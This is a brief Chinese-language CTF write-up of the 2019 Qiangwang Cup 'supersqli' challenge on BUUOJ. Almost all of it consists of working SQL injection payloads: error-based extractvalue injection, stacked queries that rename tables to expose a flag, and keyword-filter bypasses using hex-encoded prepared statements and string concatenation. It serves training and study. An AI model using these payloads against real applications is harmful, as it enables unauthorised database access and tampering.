buuoj上19年强网杯的题
拿到手直接告诉你sql注入
测了下1
inject=1'
发现直接回显了错误,就打算直接上报错注入1
inject=1' and extractvalue(1, concat(0x0a, database(),0x0a)) and '1'='1
能出来库名supersqli
但后来测发现,where,select都被滤掉了,发现自己还绕不过去.
试了试堆叠1
1';show tables;
出来表名1919810931114514,没法用语句,就只能改表名,把flag那张表加个键值1,并替换掉原来那张表1
1';alter table `1919810931114514` add `id` INT(11) NOT NULL DEFAULT '1' after `flag`;rename table words to words1;rename table `1919810931114514` to words;desc words;
查询1就可以出来flag
dalao的payload
1 | 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# |
hex编码前1
1';SeT@a=select * from `1919810931114514`;prepare execsql from @a;execute execsql;#
设a变量为查询语句,在hex编码绕过过滤,最后prepare,执行
还有dalao能拼接语句绕过
1 | ';use supersqli;SET @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+ |